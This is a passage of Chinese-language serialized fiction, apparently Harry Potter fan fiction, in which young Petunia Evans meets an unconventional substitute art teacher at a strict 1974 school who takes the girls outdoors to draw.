这是一个古怪的女人,佩妮的直觉告诉她,不要再和这个奇怪的女人打交道。她正要走,女人问她:“你是这镇上的孩子吗,你知道圣凯瑟琳教堂怎么去吗?我姑妈生病了,我要去看一下她。”
她说的就是佩妮学校门口的那座教堂,佩妮犹豫了半晌,还是告诉了女人具体的方位。
“上帝保佑你,你真是一位好孩子。”女人笑起来,离得近了,她眼角的细纹看起来愈发明显。她囫囵吃下最后一口甜椒,站起来将书本拿在手里,背上了她的画板。
佩妮的视线落在了女人从灰与榆带出来的书,她拿走了那本冬日烈火,她会喜欢布伦南小姐吗?
女人察觉到了佩妮的目光,她把那本冬日烈火从那摞书里抽了出来:“你喜欢它吗?”
佩妮实在没有办法违背自己的心意,她点了点头。
那本冬日烈火被递到了佩妮的面前。
“送给你。”佩妮惊讶地抬起了她的头,她听见那个古怪的女人说,“我在你这个年龄的时候也喜欢看这些书,虽然大人们总是不允许,但是谁不喜欢做梦呢,拿回家看吧,要把它藏好,别说是我送给你的。”
但佩妮摇了摇头:“谢谢你,但我已经看过了。”
这回轮到女人露出一个讶然的表情。
太阳晒得佩妮的脸微微发红,她的声音里带着一丝自己都察觉不到的骄傲:“你买的那几本书我都看过了,那本冬日烈火最好看,布伦南小姐,就是它的女主人公,她有一把宝剑。其他的小说也不错,里面有一本伍德威斯的小说,她一直在写,每本小说都很好看,但我最喜欢的还是冬日烈火,不过很可惜,林德赛后面的小说都没有冬日烈火那么好看了。”
女人盯着佩妮的脸看了一会儿,突然露出了一个仿佛撞破了什么秘密般的笑容:“那么你呢,你刚刚问的那个问题,你也在写小说吗?”
这个问题犹如兜头给佩妮浇了一盆冷水,她迅速冷静下来,猛然惊觉自己跟陌生人说了太多不应该说的话,心中涌起一股强烈的后悔。于是她猛地后退了一步,看着眼前这个女人,目光带着警惕地说:“再见,我要回家吃饭了。”
佩妮转身匆匆跑走,心中安慰自己,这个古怪的女人肯定不是科克沃斯的人,等她探视完她那生病的姑妈,她就会离开科克沃斯,佩妮不会再碰到她了。
50.chapter49
一个狂风骤雨的下午,科克沃斯有很久没有下雨了,仿佛要攒着劲一样,一鼓作气地下完,屋外电闪雷鸣,雨势几乎没有缓解的时候。
这最后一节课是艺术鉴赏课,上课的钟声已经敲响很久了,但特蕾莎老修女仍迟迟未到,讲台上空无一人,寂静的教室开始逐渐喧闹起来。
普尔佳开始收起了她的书包,在佩妮的身后拍拍佩妮的肩膀,兴奋地说:“我们是不是可以提前放学了。”
“拜托,”佩妮劝着普尔佳,“你看看外面的天气,我们哪里也去不了。”普尔佳又颓然地倒在了桌子上:“我还要回去做饭呢。”
雨水劈里啪啦地打在窗户上,在玻璃上汇成一道道汹涌不息的河流。为了照顾特蕾莎修女,艺术鉴赏课的教室特地设在教学楼的一楼,采光不是很好,在晴天的时候也需要开灯照明,更遑论此刻的暴风雨天。
但此时白炽灯吊在屋顶上,明晃晃地照亮教室的每一个角落,屋内既温暖又干燥,就像一个安全的小岛,隔绝了室外所有的风雨,使佩妮感到安心。
就在这时,教室门发出砰地一声响,室外风雨声被清晰地送进来,随之而来的是一股草地上被水汽蒸腾起来的泥腥味被穿堂风带进来,一下打破了教室里先前的氛围。一件宽大的灰色连帽雨衣出现在了教室的门口,宽大的帽檐遮挡了来人的面目,雨衣下鼓鼓囊囊,看不清来人的身形,整个造型看起来就像电视机里那些邪恶科学家研发出来的科学怪人。
教室里一下就安静了起来,屋外的风雨声显得愈发清晰起来。
雨衣怪人全身都在往下滴着水,然后它像小狗甩水一样抖了抖自己的身体,大步走进了教室。
“我很抱歉,孩子们,外面风雨实在太大了,”雨衣下传来一道女人的声音,不是英国口音。
雨衣怪人走到讲台边,将一块蒙着布的木板和一个硕大的棕色挎包从雨衣下掏了出来,挎包里头不知道装了什么,看起来沉甸甸的,撞在讲台上发出了好大一声响动:“我是第一次来这儿,教室可找了我好一阵呢。”
佩妮觉得这个声音有一些耳熟。
教室里所有的目光都集中在这位不速之客身上。
“噢,抱歉,我好像把地板弄湿了。”雨衣兜帽被解下来,一头浓密的棕色波浪卷长发自由地披散在肩上。女人把沾着水汽的湿发拨开,露出光洁的额头,还有一双亮晶晶的眼睛。
“你们好,我是你们艺术鉴赏课的临时代课老师,塞拉菲娜·维尔。”自称塞拉菲娜的女人把雨衣脱了下来,皱着眉提起不断往下滴水的雨衣,打开教室的门将它放在了教室外面。
“我没看错吧,那是一条牛仔裤。”普尔佳在佩妮后面吃惊地戳了戳佩妮,“阿加莎女士怎么让她进的学校。”
佩妮一下就认出了她是谁。
她还是佩妮见到她那天的那身打扮。红色格子衫,牛仔裤,只是牛仔裤的下摆还有帆布鞋上全是星星点点的泥水,看起来狼狈极了。
怎么会是那个女人?意识到这件事,佩妮心脏因为紧张开始不受控制地剧烈地跳动了起来。
塞拉菲娜弯腰脱下雨鞋,露出里面一双淡黄色的旧帆布鞋。她雨鞋的质量肯定不怎么样,因为那双旧帆布鞋前头已然湿了一半。
她说她是艺术鉴赏课的临时代课老师。
——她不应该随便对陌生人吐露那些心声,佩妮心想,她发现了她的秘密,如果她告诉阿加莎女士关于自己的事情……想到这里佩妮不自觉打了一个寒战,恐慌感彻底淹没了她。
“佩妮,你还好吗?”普尔佳在身上推了推佩妮。
“有点冷,我是说,刚刚教室的门被打开了,风吹着有点冷。”
“你这么一说,我也觉得有一点冷。”普尔佳摸了摸她的胳臂。
塞拉菲娜随手关上了教室的门,把一片风雨声关在了门外,一股茉莉、橙花混合着金合欢的味道冲淡了教室里原来的雨水的腥气。
教室里又恢复原来的温暖干燥。
塞拉菲娜重新走上了讲台。
“德蕾莎修女得了伤寒,孩子们,接下来将由我同你们一起度过一段时光,直到她出院为止。”她那一身古怪的搭配满是风雨的狼狈痕迹,但她脸上又丝毫不见抱怨的情绪,洋溢着一派轻松盎然的气息,“你们可以直接叫我塞拉菲娜。”
教室下面一片安静,每个学生都坐在自己的座位上沉默地注视着她。
“我没有在德蕾莎修女的办公室里找到你们艺术鉴赏课的大纲,她平时都教你们什么?”塞拉菲娜双手撑在讲台上,看着下面的学生。
下面还是静悄悄的。
她的话语落了一个空,但她那轻松盎然的笑容却并不因此而减少。见没人搭理她,她索性自己走下讲台,视线在学生的脸上一张面孔一张面孔地扫了过去。
她在看什么,她要点人回答问题吗?想到这,佩妮觉得自己的心快要从嗓子里跳出来了,她放轻了自己的呼吸,将自己缩在了前桌的背影里。她在心里祈祷,祈祷她不要发现自己,也不要想起自己。
偏偏事与愿违,佩妮对上了塞拉菲娜转过来的视线,她明显看见她的眼神一下亮起来了,她肯定认出佩妮来了。怎么办,佩妮迅速移开了自己的视线,尽量将自己缩在前面那位女同学的背影里,如果桌子可以钻进去就更好了。
但出乎佩妮的预料,塞拉菲娜也转开了自己的视线,只是低头温柔地问最靠近她的那位女同学:“这位小姐,告诉我,你们平时艺术鉴赏课都上些什么内容。”
“听德蕾莎修女朗读圣经,老师。”被塞拉菲娜提问的那个女生干巴巴地回答。
“噢,朗读圣经。”佩妮听见塞拉菲娜发出了一阵轻笑:“谢谢你,小姐,你叫什么名字?”
“朱诺·柯布,老师。”那个女孩轻声说。
“叫我塞拉菲娜就好。你的辫子非常好看,是你自己编的吗?朱诺小姐,你真是一位可爱又手巧的女孩。”塞拉菲娜打量了那位叫做朱诺的女孩几眼,认真地说。
在大家转过来的视线中,朱诺的脸红了起来,她结结巴巴地说:“谢谢您,老师……不,塞拉菲娜。”
她没有
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点佩妮,佩妮先是大大松了一口气,但突然一股莫名的愧疚和失落在她心底悄悄蔓延开来。
塞拉菲娜转身走上讲台,她从背包里掏出了个什么东西,那东西的尾部连了一根线,塞拉菲娜拿着它躬身钻到了讲台下面。
“很可惜,我对圣经的理解显然不如特蕾莎修女,在我的课堂上就不听圣经了。”塞拉菲娜拍拍手从讲台上钻出来,她先把教室的灯关了,教室一下陷入昏暗中。
然后她走回讲台,按下了她带来的古怪东西上的一个按钮,教室侧面的墙上一下亮起了一个正方形的白色画面,一副精妙的彩色图片就显现了出来。
就像有人往结冰的水面上头下了一颗石子儿,原本安静的氛围瞬间被打破,教室里不止一个人发出了惊呼。
“那是什么?竟然是彩色的画面。”
“我知道,那个东西叫投影仪,爸爸以前告诉过我。”
“太神奇了,这感觉就像看电影一样,还是彩色的电影。虽然它不会动。”
女生们小声地交谈起来。
教室白墙的背景并不平整,崎岖的墙缝使部分画面扭曲了起来,塞拉菲娜调整了一下她手中那个神奇的仪器。
画面上的人物随着塞拉菲娜的动作而颤动。
整个画面并不是很大,坐在后面的孩子看得并不十分清楚,因为好奇纷纷探出了她们的身子,但又不敢随意从凳子上站起来。
“都过来,孩子们,把桌子推到后面去,拿上你们的凳子,都坐到我的身边来。”塞拉菲娜对她们说,“在我的课堂上不需要你们坐得像棋盘上的棋子一样。”
女生们你看看我我看看你,没有一个人动,她们从来没有在上课的时候听到过这样的要求。
塞拉菲娜看过来,她的视线从孩子中扫过去的时候,又与佩妮对视上了。
这回就像被什么蛊惑一般,佩妮站了起来——她甚至不知道自己为什么要站起来。“喂。”普尔佳在她身后没有来得及拉住她。
佩妮把桌子推开,桌脚在地面划动,发出响亮的声音。佩妮提起了自己的凳子,在所有人的视线中,走到了塞拉菲娜身边,面对着那发光的墙面坐了下来。
“一名勇敢的小姐,你叫什么名字。”塞拉菲娜看着佩妮的的眼神带着惊讶和笑意。
“佩妮·伊万斯。”佩妮紧紧盯着画面上一个点看,控制着自己不要到处乱看。
不用照镜子,佩妮也知道此刻自己的脸一定红透了。
佩妮听见了其他桌椅划过木地板的声音,她们陆续推开了自己的桌子,搬着凳子,坐到了佩妮的身边。
画面停止了抖动,昏暗的教室里,光线洒在佩妮的脸上。
画面里是一名高大的女神,穿着金色的华丽衣衫,身披粉色披帛,倚在一朵洁白的云朵上,一只威猛的黑色美洲豹匍匐在她的身侧,她正伸手抚摸狮子头顶生出的金色尖角,画面右下角是向她进贡宝物的人。
佩妮有些着迷地看着她伸手抚摸狮子头顶尖角的手。
“现在塞拉菲娜要开始给你们讲故事了。”
51.chapter50
十分幸运,一下课雨就停了下来,佩妮提着她的书包走在走廊上,身边匆忙跑过好几个急着回家的学生。
“嗨,佩妮。”是塞拉菲娜的声音,她从背后追上了佩妮,语气里透着几分熟稔:“我们又见面了,没想到你就在这所中学上学,圣凯瑟琳教堂原来就在这所学校的前面。”
她记得佩妮,佩妮为这件事既感到高兴,又感到担忧,她决定委婉地提醒塞拉菲娜,但塞拉菲娜自顾自地说了下去:“我很喜欢矮牵牛花,这种品种有很多颜色,紫色,粉色,白色,我最喜欢紫色和粉色,你呢?”
佩妮一愣,这话题转得太快了,她脑子转了一下才跟上塞拉菲娜的思路:“但矮牵牛花只是一种最普通的花,它太普通了以至于哪里都能看见,我家阳台上还种了好几盆呢,它长得太快了,阳台上要放不下它们了,爸爸妈妈还打算送出去几盆。”
“只有人才会把花分为普通的和名贵的,对于花来说,想办法活下去才是最重要的事,这种花花期长,又好种,在哪里都能存活。”
塞拉菲娜的红格子衬衫和牛仔裤与周围的环境格格不入,只是短暂交谈的几分钟里,就有数好几道打量的视线落在了塞拉菲娜身上,顺便也落在了佩妮身上。她并不是很想在这些眼神中,同塞拉菲娜讨论自己名字的含义——她当然知道矮牵牛是一种什么样的花。
佩妮有些无奈地停下来,看着塞拉菲娜:“老师。”
“叫我塞拉菲娜。”她纠正佩妮。
“好吧,塞拉菲娜,圣凯瑟琳中学有一些规矩。”佩妮说的很隐晦,她希望塞拉菲娜能听懂她的话,不要提起那天在灰与榆相遇的事情。
“噢,你说的这些规矩,阿加莎女士早就对我叮嘱过了,我十分尊重你们学校的规矩,听说你们学校前段时间还发生了一点事,但具体是什么阿加莎女士没跟我细说。”塞拉菲娜说。
她说的是索菲,佩妮心里痛了一下,像被什么东西咬了。
“是一个六年级的学生,她公然把那些书带进了学校。”一名女生抱着书走到塞拉菲娜的左边,她穿着一身体面的衬衣半身裙,她对塞拉菲娜露出一副你理应知道的笑容,“那种书,就那种书!你知道的。”她从中间把佩妮和塞拉菲娜分开了,佩妮闻到一股若隐若现的玫瑰花香从她的发间飘出来。
另一名女生从塞拉菲娜的右边挤上来,把塞拉菲娜挤在了中间,她的皮鞋擦得锃亮:“不仅是那种书,她还当着阿加莎女士的面,朗读自己写的那些东西。‘我爱你,她对他说。’‘心底里的渴望使她想要更多,她伸出手,解开了衣服上的扣子。’你瞧瞧她写的内容。”那名女生对塞拉菲娜挤了挤眼,表情有些夸张地说。
塞拉菲娜挑起了她的眉,露出惊讶的神情,她轻轻地吸了一口气:“然后呢?”佩妮开始讨厌起她那副看起来永远天真浪漫的表情,她什么都不知道,明明已经快跟佩妮的妈妈一般年纪了,却一点都不像一个成熟的大人。
“阿加莎女士把她开除了,你绝对想不到阿加莎女士是她的姨妈。”左边的女生小声地对塞拉菲娜说。
“她还有一张要去伦敦的车票,怕不是要跟什么男人私奔。现在是1974年,又不是1874年,我看她是看那些书把脑子看坏了。”站在塞拉菲娜右边的女生说。
一股无名的怒火从佩妮的心底里涌起来,她对那两名女生说:“够了!请注意你们的措辞!”
那两名女生仿佛此时才注意到佩妮一般,轻飘飘地瞥了佩妮一眼,右边的女生甚至翻了一个白眼:“关你什么事呢?你是她的朋友吗?你不会也在看那些书吧?”
连珠炮似的提问把佩妮的话语逼进了肚子里,她咬紧了牙关。
“谢谢女士们好意的提醒,这看起来是学校里的一件禁事,我们可就不要再提了。”塞拉菲娜打断了她们。
那两名女生对视了一眼,左边的那名女孩上下瞥了一眼塞拉菲娜的装扮,挑了挑眉,露出一个古怪的笑容:“不错的打扮。”右边那名女孩说:“我很喜欢你的投影仪还有那些故事。”然后她俩抱着书,就迅速地跑走了。
“嘿,谢谢你们的夸赞!”塞拉菲娜看起来很高兴,她对着两名女生离去的背影大声说。但佩妮保证,左边的那名女生绝
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对没有在夸赞塞拉菲娜,她竟然还相信了她的夸赞,她怎么能这么天真呢?
佩妮的心里泛起苦涩的感觉,她抱着她的书包要走,她绝不要在走廊上跟塞拉菲娜继续聊索菲的事情。
塞拉菲娜又追了上来:“不管怎么说,佩妮,谢谢你那天替我指的路。”
又有一批学生从塞拉菲娜身边走过,这是一波男生,他们对塞拉菲娜吹起了口哨:“老师,很不错的打扮。”
塞拉菲娜笑着对他们说:“谢谢你们的夸赞。”
那帮男生愣了一下,对视了一眼,笑得更欢了,在塞拉菲娜惊讶的神情中跑走了。
“看来他们真的很喜欢我的服装。”塞拉菲娜对佩妮说。
佩妮没有办法忍受了,她对塞拉菲娜说:“老师,”在塞拉菲娜挑起的眉毛里,她改口:“塞拉菲娜,虽然学校没有统一的服装要求,但是一切鲜艳的颜色都不允许穿进学校里来。一般来说我们都穿深色的上衣配裙子和皮鞋的,这是圣凯瑟琳中学一贯的传统。”
她等着塞拉菲娜明白那些话语之后懊恼的神色。
但塞拉菲娜这是露出一个恍然大悟的神情:“原来是因为这样,怪不得你们这些孩子都这么看我,我还以为他们真的很喜欢我的这一身呢?但是这一身真的很不错,你不喜欢吗佩妮?”
佩妮没有办法回答她。
塞拉菲娜一拍自己的脑袋说:“我想起来了,阿加莎女士好像发给了我一张纸,但我看不是教学大纲,就放到一边去了,谢谢你的提醒,佩妮,你们学校还有一些什么其他的规矩吗。”她的声音里听不见一丝的尴尬无措,反而满是发现新大陆一样的兴奋。
她们迎头撞上了阿加莎女士,她从走廊尽头转了过来,目光落在了塞拉菲娜的牛仔裤和格子衬衫上,她的目光凝固了:“维尔小姐,您没有好好阅读我发给你的教学手册吗?在教学手册的最后一页,我单独附了一张纸,强调了教师的着装守则。”
佩妮再也受不了了,在阿加莎女士走近之前,她冲阿加莎女士问了个好,提着她的书包匆匆冲了出去,把塞拉菲娜留在了原地。
52.chapter51
塞拉菲娜再次出现在课堂上,穿了一件棕黄色的衬衫和黑色的西装裤。
她给每人发了一张白纸和一支铅笔,路过佩妮的时候,她对佩妮眨了眨眼睛。佩妮低下了头,塞拉菲娜的身影从她身边走过,脚上竟然踩的还是那双帆布鞋。
“她连皮鞋都没有吗?”佩妮听见旁边的女生小声讨论。
“起码今天不是牛仔裤。”另外一个女生说。
几声轻笑声响了起来,等塞拉菲娜转过来时,人群又恢复了安静。
“但是她有投影仪,我喜欢听她讲那些画面里的故事,就像看电影一样。”
塞拉菲娜分发完了纸和笔,站在教室的门口,在大家的目光中,打开了教室的门:“姑娘们,拿上你们的纸笔,今天是个好天气,我们出去采风。”
大家面面相觑,在对方的眼睛里看见了自己茫然的表情。
见大家一动不动,塞拉菲娜说:“你们可以自由选择这节课的上课方式,在这间教室里,或者跟我出去,都可以。”阳光从她身后洒在地面,就像给地面镀了一层金粉。
“塞拉菲娜,理论上我们应该待在教室里。”其他教室都在上课,走廊静悄悄的,她们靠在一起,跟在塞拉菲娜身后,最靠近塞拉菲娜的那个女生有些紧张地说,“阿加莎女士不会允许我们出来的。”
但塞拉菲娜的声音染上了笑意:“别害怕,这是我的课堂,我有权决定我的授课形式,再说她在上自己的课呢。”她带领着她们穿过一扇扇紧闭的门窗,就这样堂而皇之地走出了教学楼。
诚如塞拉菲娜所言,与稍显昏暗的教学楼相比,室外的一切在阳光下都显得分外动人。太阳穿过树梢落在草坪上,草坪刚割过,空气里满是青草的香气,混着一点蒲公英和雏菊的芳香,还有一股若有若无的火柴燃烧后的味道,因为学校附近还有一个硫磺加工厂。
普尔佳牵住了佩妮的手,她有些惶恐:“佩妮,他们在看我们。”
佩妮也感受到了。
现在是男生的体育课时间,操场上有男生在上踢足球,他们看见了塞拉菲娜带领的这队不应该在此时出现队伍。有些男生停了下来,把足球踩在自己脚下,冲她们挤眉弄眼,还有几个人吹起了口哨。
佩妮的心开始打鼓,塞拉菲娜从她们身边经过:“快走,小姐们,今天的天气真的太好了,浪费这一分一秒都是对生命的不尊重。”她脸上带着轻快的笑容,看起来完全没注意到操场那边的打量的视线。但佩妮她们完全没有办法做到像她那样无视他们,那些视线落在她们身上,使佩妮感到自己的背像被火烧灼一样滚烫。
口哨声伴随了她们一路,那些男生的目光使佩妮难受极了,她看了一下周围,有些女孩露出了跟她一样的表情。
“塞拉菲娜,你要带我们到哪里去。”佩妮忍不住走到队伍的前头,问塞拉菲娜。
“嗯,我们已经到了。”她停下来,看着佩妮脸上浮现起一个灿烂的笑容。
她们停在了一棵山毛榉下,树下的草坪上早已架上了一个三角木架一张画架,周围摆了好几张小木凳,显然是早已准备好了,就在此地等待着她们的造访。
塞拉菲娜从自己的挎包里掏出了一个新鲜的红色苹果,放在了三角木架上。
“女士们,今天我们来学习画画。”
阳光太灿烂了,那个鲜红的苹果在阳光下,反射出润泽的光芒,使它看起来饱满又可口。佩妮找了一个木凳坐下来,普尔佳坐在她的身边,她的心里仍有一丝不真实感,但脚下柔软的草地和微风送来的青草香又在向她传递真实的感觉。
虽然美中不足的是远处打量的视线和不怀好意的口哨。
但塞拉菲娜不为所动地竖起了她的画板,女孩子们纷纷把凳子挪到了她的身边。
塞拉菲娜从耳朵上取下那只铅笔,在空白的纸上随手勾勒了几笔,一颗苹果便跃然于纸上,引来大家一阵小声的惊叹声。
“塞拉菲娜,我们要学这个嘛?”一名女生既羡慕又惋惜地说,“我们肯定画不出来像你这样生动的苹果。”
塞拉菲娜笑起来:“噢,这只是我眼中的苹果,我不要求你们画出我这样的苹果,但告诉我,你们看见了什么?”塞拉菲娜偏过头来看着她们,站在画板前的塞拉菲娜有一种动人的魔力,使人的视线难以从她身上移开。
“那儿有一个苹果。”
“只是一个苹果吗?它是一个什么样的苹果?”
“一个红色的苹果。”
“它身处在何处?除了苹果你们又看见了什么?”
一阵风吹过,一瞬间把各种颜色吹进了佩妮的眼睛里。天空的蓝色,云朵的白色,树叶的绿色,世界此刻变成了一个被砸碎的染缸,这些纷杂颜色席卷进佩妮的眼睛里,使她目眩神迷。
“你们看见了什么?就把你们看见的那些东西画下来。”塞拉菲娜的声音在耳边响起,带着循循善诱的魔力。
“啊,我喜欢今天的太阳。”一个女孩说。
“天上的云朵真好看。”另一个女孩抬起头。
今天确实是个好天气,佩妮心想,她轻轻触摸着白纸稍显粗糙的纸面,看见塞拉菲娜淡黄色的帆布鞋在草坪中走过,被刚割过的青草染上一点翠绿的颜色,阳光暖洋洋地晒在她的身上,苹果红得可真是鲜艳。
一阵悸动从她心底里升起,这悸动使她产生一种微妙的失重感,让她想起莉莉带回来的滋滋蜜蜂糖的滋味。
——只是苹果下一秒就被击飞了。
一切发生在瞬间,她只是低头的功夫,一个足球带着破空声从她身边极速地飞过,在一片惊呼中,击中了那颗苹果,把它从三角架上击落了下去。
佩妮一下站了起来,她重新落到了地上,但不仅仅是她,女生们全都站起来。
——滋滋蜜蜂糖的魔法时间又结束了。
苹果被足球砸变形了,落在草地上,狼狈地滚动了一圈停了一下,露出的果肉只在几个呼吸间变成了暗黄的颜色,一个使用了很久,早已看不出本来面貌的足球,停在了它的旁边。
佩妮感觉有人掐住了自己的脖子。
好几个男生跟着足球跑了过来。
“我很抱歉,我们不是故意的。”带头的是一名六年级的男生,他看起来十分高大,额头上冒着汗珠,嘴上说着歉意的话,但脸上却带着无所谓的表情,他耸了耸肩:“但是现在是男人们的体育课时间,你们本不应该在这个时间出现。”
他在女生们嗔怒的目光中,指了指那个足球:“噢,现在我需要把我们的足球捡回来。”
他看起来甚至还要从女生当中穿过去,而他身后的朋友们脸上挂着跟他一模一样的笑意。
“等等,这位先生。”但塞拉菲娜拦住了他,在众人的视线中,塞拉菲娜站了起来,她脸上还带着那轻快的笑意,她为什么不生气?佩妮心想,她很生气。
塞拉菲娜走到足球旁边,将她的裤子提起来,露出她那双旧帆布鞋,她只是轻轻一勾脚,那个足球就到了她手里。
那群男生哇地发出了一阵轻呼。
塞拉菲娜拿着足球走到了那群男生面前。
“谢谢您,老师,亲自替我们捡回足球,上帝会保佑您的。”带头的那名男生脸上还带着运动后的潮红,他同塞拉菲娜一般高,看着塞拉菲娜,脸上带着兴奋的表情。
但塞拉菲娜把足球往自己身后一放,对那群男生礼貌地说:“先生们,你们弄坏了我们画画课上的模型。”
“所以呢,”带头的那名男生露出满不在乎的表情,他说,“我们已经道歉了。”
塞拉菲娜笑起来:“那请您还有您的朋友同我过来,我们商量一些事情。”她带着那名男生还有他的朋友走到了不远处,听不清她说了些什么。
在大家费解的目光中,塞拉菲娜把足球递给了那个领头的男生身后的人群,把那个男生领了回来。
“这位——”塞拉菲娜在女生们既惊又怒的眼神中,做了一个安抚的手势。“麦克·戴维斯。”那个男生整理了一
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下自己的衣服,他不知从哪儿弄了一顶鸭舌帽,穿上了一件稍微干净的外套,清了清嗓子,自信满满地坐到了本应放着苹果的三脚架上。
女生们骚动起来,但塞拉菲娜示意她们稍安勿躁。“这位戴维斯先生为了表示弄坏我们模型的歉意,他愿意给我们做一次模特。”塞拉菲娜说。
“咳,我已经准备好了,你们随时可以画我。”那名叫戴维斯的男孩带着自信的表情,在三角架上调整了一下自己的姿势。
“塞拉菲娜!”一名女生对塞拉菲娜愤怒地说。
怒火也在其他女生心中燃烧。
但塞拉菲娜对她们露出了一个笑容,“都站到我这边来,让我给你们露一手,证明我这个艺术老师的水平,都过来,站到我的身后来。”
佩妮站在人群中,她看见戴维斯是怎样坐到了三角凳上,如何装模做样地调整了一下自己的姿态,脸上显露出一副自信非凡的神态。
她突然冷静下来,走到了塞拉菲娜的身后,对她身边的女生说:“过来,我们得好好瞧瞧他。”
塞拉菲娜回头看了佩妮一眼。
大家犹疑着站在了塞拉菲娜的身后,看见她重新取出了一张白纸,盖在了原来的图画上。
“我要开始了,戴维斯先生,那么请你不要动了。”塞拉菲娜说,“告诉我,女士们,你们看见了什么?”
“一个男孩。”佩妮说。
“还有呢,女士们,都好好看看他,告诉我他的特征。”铅笔在塞拉菲娜的手上转动,白纸上很快显现出了几根线条。
“他戴了一定鸭舌帽,棕色的,看起来有点旧。”另外一名女生说,塞拉菲娜在画布上补充了几笔。
“再好好看看他,把他所有的特征都告诉我。”塞拉菲娜看着那个男生,大声地对女生们说。
女生们对视了一眼,她们脸上突然露出了心照不宣的笑容,开始对那位名叫戴维斯的男生点评了起来。
视线纷纷落在了戴维斯的身上,气氛变得热烈起来。
“塞拉菲娜,他的头发有一点短。”
“塞拉菲娜,他穿着一件棕色的衬衫,他在出汗,他的衣服上有一块颜色跟其他地方不一样。”
一个女孩低声说了句什么,引得周围的女生咯咯地笑了起来。
戴维斯在她们的目光中轻微动了一下脚尖,又假装镇定地挺直了背,但他的动作很快被女生们捕捉到了。
“噢,戴维斯先生,请你不要随意乱动,一名合格的模特是需要保持特定的姿势。”
在大家的目光和声音中,戴维斯脸上的笑容逐渐消失了,而他额头上的汗越来越多了起来。
佩妮抱着自己的胳膊,看着戴维斯,一丝隐秘的畅快在佩妮心中流动。
一副生动形象的画随着塞拉菲娜的手逐渐清晰地呈现在了白纸上,她连戴维斯额上的汗珠都仔细地描绘了下来,还差一点收尾的部分,但戴维斯很明显没法坚持到最后了。
他额上不断滴下豆大的汗珠:“我再去给你们找个苹果。”在女生目光和语言中,他只在三角架上坚持了短短十来分钟,就抓着他的帽子仓皇离去。
“戴维斯先生,画还没画完呢。”有女生在他身后大声说,女生们忍不住笑了起来。
在笑声中戴维斯差点被一颗树枝绊倒,女生们的笑声更大了一些。
戴维斯最后也没能给她们重新找一个苹果回来,一直到下课的钟声敲响,也没见戴维斯的身影。
她们簇拥着塞拉菲娜回到教学楼,像小鸟一样叽叽喳喳地对塞拉菲娜说她们看到的东西。
阿加莎女士就站在教学楼的门口等着她们,人群一下安静了下来。
“维尔小姐,我想,此时你们应该待在艺术鉴赏课的教室里。”
塞拉菲娜走到女生们的前面,她温柔地回头看了一眼身后跟着她的女生们,对阿加莎女士笑着说:“她们在上艺术鉴赏课呢,一整天,她们都呆在教室,她们被关得太久了,她们该在阳光下透口气了。”
53.chapter52
正是下课的时间,佩妮靠在走廊的栏杆上,低头看着下面,旁边的不远处也站着好几名女生,都斜倚着栏杆,看着下方。
佩妮看着塞拉菲娜背着她的画板,从楼下的草坪穿过。
她真是一位古怪的女人。
她同乔治先生一样,住在学校临时配发给单身教师的公寓里,那里原来曾经是修女们的房间。
她再也没有在学校里穿过那套红色格子衬衫和牛仔裤,她不知道从哪里搞的一套棕黄色的衬衫和黑色西装长裤,不对,应该是两套,佩妮心想,因为此后塞拉菲娜出现在学校的时候,她就只穿那一套棕黄色的衬衫配黑色西装长裤,当然长裤下更古不变的是她那双淡黄色的旧帆布鞋。
她没有裙子吗?她怎么从来也不穿皮鞋?
不上课的时候,塞拉菲娜也经常穿行在学校里,就像现在这样,背着她的画板,在阳光下从草地的一头,穿草地的另外一头,放下她的画板,在白纸上用铅笔涂画着什么。
画面上有时候是钟楼高耸的塔尖,有时候是洞开校门里巍峨伫立的教学楼,还有一次是那颗高大的山毛榉下,在画画的女孩们。
“这个是佩妮。”她指着画面中一个看不清面目,但看起来稍显高挑的女孩说。
“这个是朱诺。”她指着另外编着整齐的麻花辫的女孩说。
“这个是普尔佳。”画面里的女孩有一头黑色的头发,带一点卷。普尔佳不想落下的课现在除了烹饪课就是艺术鉴赏课。“晚点回家就晚点做饭,晚点做饭就晚点吃饭,虽然爸爸会生气,但这没什么大不了的。”普尔佳对佩妮说。
凑近了看那张画,只看得出铅笔粗粝的痕迹,但只要离远些,又可以清晰地看出每个人的特点。
“这是魔法吗?”普尔佳问塞拉菲娜。
她笑起来,看着大家画板上逐渐成型的苹果,说:“嗯,这是魔法,但小姐们,看看你们自己的画板,你们也学会了魔法。”
这当然不是魔法,佩妮在心里想,这里的人谁也没有见过真正的魔法。
魔法能变出一朵蓝色的玫瑰,但塞拉菲娜的手下有时也会开出一朵灿烂的黑白玫瑰。
“画完苹果之后呢,我们该画什么?”一名女生问塞拉菲娜。
“画你们看见的任何东西。”
塞拉菲娜带着她们穿过草坪,操场上男孩们仍然在上体育课,他们停下来对她们说:“又出来画画吗?小姐们,小心太阳灼伤你们的皮肤。”
塞拉菲娜带着她们将凳子搬到了操场的附近,竖起一个个画板。
他们之间隔着操场的跑道,男生在里面,女生坐在外面。
“嘿,小姐们,不要过来,足球会误伤你们的。”
“能将足球踢出那么大的草坪,说明你们的技术实在太烂了。”她们说,“先生们,你们每天练的足球,就是这样的水平吗?”
她们在画板里夹上自己的白纸。
“为什么不现场比一场球赛给我们看看呢?先生们,看看你们的足球水平。”
男生们互相看了一眼,脸上露出了迟疑的表情,带着他们的足球回到了草坪上,一声哨音响起,分成了两队的男生扑向了彼此。
一名女生举起了她的铅笔,比对着远方的一棵树:“那棵树又绿又直,我想把那棵树画下来。”
“今天的云朵像外婆给我塞进被子里的棉花,我要把这样的云朵画下来。”另外一名女生说。
佩妮在自己的画板上涂抹着。
布伦南小姐有一把宝剑,她提着她的宝剑站在悬崖上远眺。塞拉菲娜向她们展示的第一幅图画里,那名高大的女神有一只长着金色尖角的威风凛凛的美洲豹,塞拉菲娜告诉她们这是一只雌狮,金色的尖角象征王权的寓意,这是一幅进贡给萨沃伊家族都灵王朝当时正当政的女王的画像。
只有塞拉菲娜抱着手臂,饶有兴趣地看着不远处正在激烈争夺一颗足球的男生们。
那场比塞以一名男生被撞掉了一颗门牙而结束。
他满脸泪痕,嘴边是一道血渍,在大家的视线里他捂住自己的脸,拎着一瓶装着他牙齿的牛奶,哭哭啼啼坐上了乔治先生的单车后座,前往科克沃斯镇上的牙科医院。
“我觉得他们太不小心了。”女生们抱着自己的画板回到教室。
“这就是他们每天练习足球的成果吗?那他们还得勤加练习。”
“有人告诉我,最后他们究竟是哪队赢了吗?”
塞拉菲娜说:“在比塞终止之前,他们都还在为进第一个球努力的。可怜的麦克先生太想进第一个球了。守门员已经扑了过来,但是他还是冲了上去。”
被撞掉门牙的原来是麦克·戴维斯。
阿加莎女士拦住了塞拉菲娜。
